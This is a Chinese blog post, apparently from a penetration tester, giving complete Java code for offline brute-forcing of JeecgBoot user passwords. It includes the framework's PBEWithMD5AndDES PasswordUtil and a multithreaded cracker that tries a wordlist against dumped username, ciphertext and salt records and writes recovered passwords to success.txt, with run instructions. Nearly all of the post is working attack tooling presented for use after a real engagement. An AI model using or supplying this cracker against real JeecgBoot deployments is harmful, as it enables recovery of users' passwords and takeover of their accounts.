JeecgBoot密码离线爆破实现

前言:实战中碰到了需要进行爆破,这边的话通过JeecgBoot算法实现离线爆破

PasswordUtil.java

package com.zpchcbd;
import javax.crypto.*;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.*;
public class PasswordUtil {
/**
* JAVA6支持以下任意一种算法 PBEWITHMD5ANDDES PBEWITHMD5ANDTRIPLEDES
* PBEWITHSHAANDDESEDE PBEWITHSHA1ANDRC2_40 PBKDF2WITHHMACSHA1
* */
/**
* 定义使用的算法为:PBEWITHMD5andDES算法
*/
public static final String ALGORITHM = "PBEWithMD5AndDES";//加密算法
public static final String Salt = "63293188";//密钥
/**
* 定义迭代次数为1000次
*/
private static final int ITERATIONCOUNT = 1000;
/**
* 获取加密算法中使用的盐值,解密中使用的盐值必须与加密中使用的相同才能完成操作. 盐长度必须为8字节
*
* @return byte[] 盐值
* */
public static byte[] getSalt() throws Exception {
// 实例化安全随机数
SecureRandom random = new SecureRandom();
// 产出盐
return random.generateSeed(8);
}
public static byte[] getStaticSalt() {
// 产出盐
return Salt.getBytes();
}
/**
* 根据PBE密码生成一把密钥
*
* @param password
* 生成密钥时所使用的密码
* @return Key PBE算法密钥
* */
private static Key getPBEKey(String password) {
// 实例化使用的算法
SecretKeyFactory keyFactory;
SecretKey secretKey = null;
try {
keyFactory = SecretKeyFactory.getInstance(ALGORITHM);
// 设置PBE密钥参数
PBEKeySpec keySpec = new PBEKeySpec(password.toCharArray());
// 生成密钥
secretKey = keyFactory.generateSecret(keySpec);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return secretKey;
}
/**
* 加密明文字符串
*
* @param plaintext
* 待加密的明文字符串
* @param password
* 生成密钥时所使用的密码
* @param salt
* 盐值
* @return 加密后的密文字符串
* @throws Exception
*/
public static String encrypt(String plaintext, String password, String salt) {
Key key = getPBEKey(password);
byte[] encipheredData = null;
PBEParameterSpec parameterSpec = new PBEParameterSpec(salt.getBytes(), ITERATIONCOUNT);
try {
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);
//update-begin-author:sccott date:20180815 for:中文作为用户名时,加密的密码windows和linux会得到不同的结果 gitee/issues/IZUD7
encipheredData = cipher.doFinal(plaintext.getBytes("utf-8"));
//update-end-author:sccott date:20180815 for:中文作为用户名时,加密的密码windows和linux会得到不同的结果 gitee/issues/IZUD7
} catch (Exception e) {
}
return bytesToHexString(encipheredData);
}
/**
* 解密密文字符串
*
* @param ciphertext
* 待解密的密文字符串
* @param password
* 生成密钥时所使用的密码(如需解密,该参数需要与加密时使用的一致)
* @param salt
* 盐值(如需解密,该参数需要与加密时使用的一致)
* @return 解密后的明文字符串
* @throws Exception
*/
public static String decrypt(String ciphertext, String password, String salt) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException {
Key key = getPBEKey(password);
byte[] passDec = null;
PBEParameterSpec parameterSpec = new PBEParameterSpec(salt.getBytes(), ITERATIONCOUNT);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, parameterSpec);
passDec = cipher.doFinal(hexStringToBytes(ciphertext));
return new String(passDec);
}
/**
* 将字节数组转换为十六进制字符串
*
* @param src
* 字节数组
* @return
*/
public static String bytesToHexString(byte[] src) {
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
return stringBuilder.toString();
}
/**
* 将十六进制字符串转换为字节数组
*
* @param hexString
* 十六进制字符串
* @return
*/
public static byte[] hexStringToBytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}

SafeFileWriter.java

package com.zpchcbd;
import java.io.FileWriter;
import java.io.IOException;
public class SafeFileWriter {
// 创建一个私有的静态锁对象
private static final Object lock = new Object();
// 将writeToTextFile方法改为静态方法
public static void writeToTextFile(String filename, String content) {
synchronized (lock) {
try (FileWriter fw = new FileWriter(filename, true)) { // 启用append模式
fw.write(content + System.lineSeparator());
} catch (IOException e) {
System.err.println("写入文件时发生错误:" + e.getMessage());
}
}
}
}

TestMain.java

package com.zpchcbd;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.Key;
import java.security.SecureRandom;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
public class TestMain {
public static void decryptTest(String username, String ciphertext, String[] passwordList, String salt) {
for (String password : passwordList) {
try {
String result = PasswordUtil.decrypt(ciphertext, password, salt);
if (result.equals(username)){
SafeFileWriter.writeToTextFile("success.txt", String.format("%s %s %s", username, password,salt));
}
} catch (Exception e) {
}
}
}
public static String[] loadPasswordList(String fileName) {
try {
List<String> lines = Files.readAllLines(Paths.get(fileName));
return lines.toArray(new String[0]);
} catch (IOException e) {
System.err.println("读取文件时发生错误:" + e.getMessage());
// 当文件读取出错时,返回空数组或其它逻辑处理
return new String[0];
}
}
public static void main(String[] args) {
String fileName = "user.txt";
String[] passwordList = loadPasswordList("pass.txt");
int numberOfThreads = 10; // 并发量
ExecutorService executor = Executors.newFixedThreadPool(numberOfThreads);
try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
String line;
while ((line = br.readLine()) != null) {
final String[] parts = line.split(",");
if (parts.length == 3) { // 确保数据格式正确
String username = parts[0];
String password = parts[1];
String salt = parts[2];
executor.submit(() -> decryptTest(username, password, passwordList, salt));
}
}
} catch (IOException e) {
System.err.println("读取文件时发生错误:" + e.getMessage());
executor.shutdownNow(); // 发生异常时尝试关闭线程池
return;
}
// 关闭线程池,不再接受新的任务,但已提交的任务会继续执行直到完成
executor.shutdown();
try {
// 等待所有任务完成或超时
if (!executor.awaitTermination(60, TimeUnit.SECONDS)) {
// 如果等待超时,尝试强制停止还没完成的任务
executor.shutdownNow();
}
} catch (InterruptedException e) {
// 如果等待过程中被中断,也尝试强制停止还没完成的任务
executor.shutdownNow();
}
System.out.println("所有任务已完成。");
}
}

效果测试

在user.txt中存放待解密的用户名,密码,盐值,如下图所示

password.txt中存储你要枚举的密码,如下图所示

最后运行TestMain即可,可以看到成功的话控制台会进行输出,并且将爆破成功的密码都记录到success.txt中

posted @   zpchcbd  阅读(380)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示